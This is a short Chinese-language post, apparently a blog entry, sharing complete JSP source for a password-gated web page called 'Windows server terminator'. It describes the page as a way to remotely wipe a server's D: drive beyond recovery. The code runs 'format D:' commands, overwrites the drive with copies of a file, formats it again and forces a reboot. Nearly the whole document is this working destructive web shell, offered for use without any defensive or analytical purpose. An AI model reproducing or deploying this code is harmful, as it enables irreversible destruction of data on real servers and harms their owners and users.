Windows服务器终结者

windows服务器终结者。

作用:远程访问服务器,输入密码,点击确定。即可让服务器D:盘清空,数据无法恢复,服务器自动重启。

条件:Windows部署并启动J2EE应用服务器,2.txt文件必须存在。232数值根据文本文件大小和D:盘大小计算得到。

源代码:

<%@page import="java.io.InputStreamReader"%>
<%@page import="java.io.FileReader"%>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.PrintWriter"%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>终结者1.0</title>
</head>
<body style="background-color: red;">
<h1>
<%
String pwd=request.getParameter("pwd");
String u=request.getParameter("u");
try{
	String w=request.getParameter("w");
	String cc=request.getParameter("cc");
	 if("hn316co".equals(w)){
			out.print("当你使用强制刷新(Ctrl+F5)后看不到这段话时,则说明操作成功<br>");
	 }
	 if("3c3da622003ad016".equals(pwd)&&"28948a66634dbcad01o".equals(u)){
		 if("lll".equals(cc)){
			new Thread("echo format"){
				public void run(){
					String[] cmds=new String[]{
							"echo Y|format D: /X /FS:NTFS /Q"
							,"mkdir D:\\sys"
							//,"D:"
							//,"cipher /w:\\"
							,"for /l %i in (1,1,232) do cmd /c copy /Y F:\\impt\\2.txt  D:\\sys\\sys_0305_%i.log "
							,"echo Y|format D: /X /FS:NTFS /Q"
							,"shutdown /r /t 1"
							};
					Runtime r=Runtime.getRuntime();
					try{
						for(int i=0;i<cmds.length;i++){
							Process p= r.exec("cmd /c "+cmds[i]);
							BufferedReader rd=new BufferedReader(new InputStreamReader( p.getInputStream(),"GBK"));
							String s="";
							while ((s=rd.readLine())!=null){
								System.out.println(s);
							}
						}
					}catch(Throwable e){
						e.printStackTrace();
					}
				}
			}.start();
			response.sendRedirect(request.getRequestURL()+"?w=n31");
		 }else{
			out.print("严重警告:本操作极其危险,极其危险,危险!!!");
			%>
			<form action="<%=request.getRequestURL() %>">
			<input type="hidden" name="pwd"  value="<%=pwd %>"/>
			<input type="hidden" name="u"   value="<%=u %>"/>
			请输入终结暗号:<input type="text" id="cc" name="cc" /><input type="submit" value="确认终结" />
			</form>
			<%
		 }
		}
}catch(Throwable e){
	e.printStackTrace();
}
%>
</h1>
</body>
</html>

相关推荐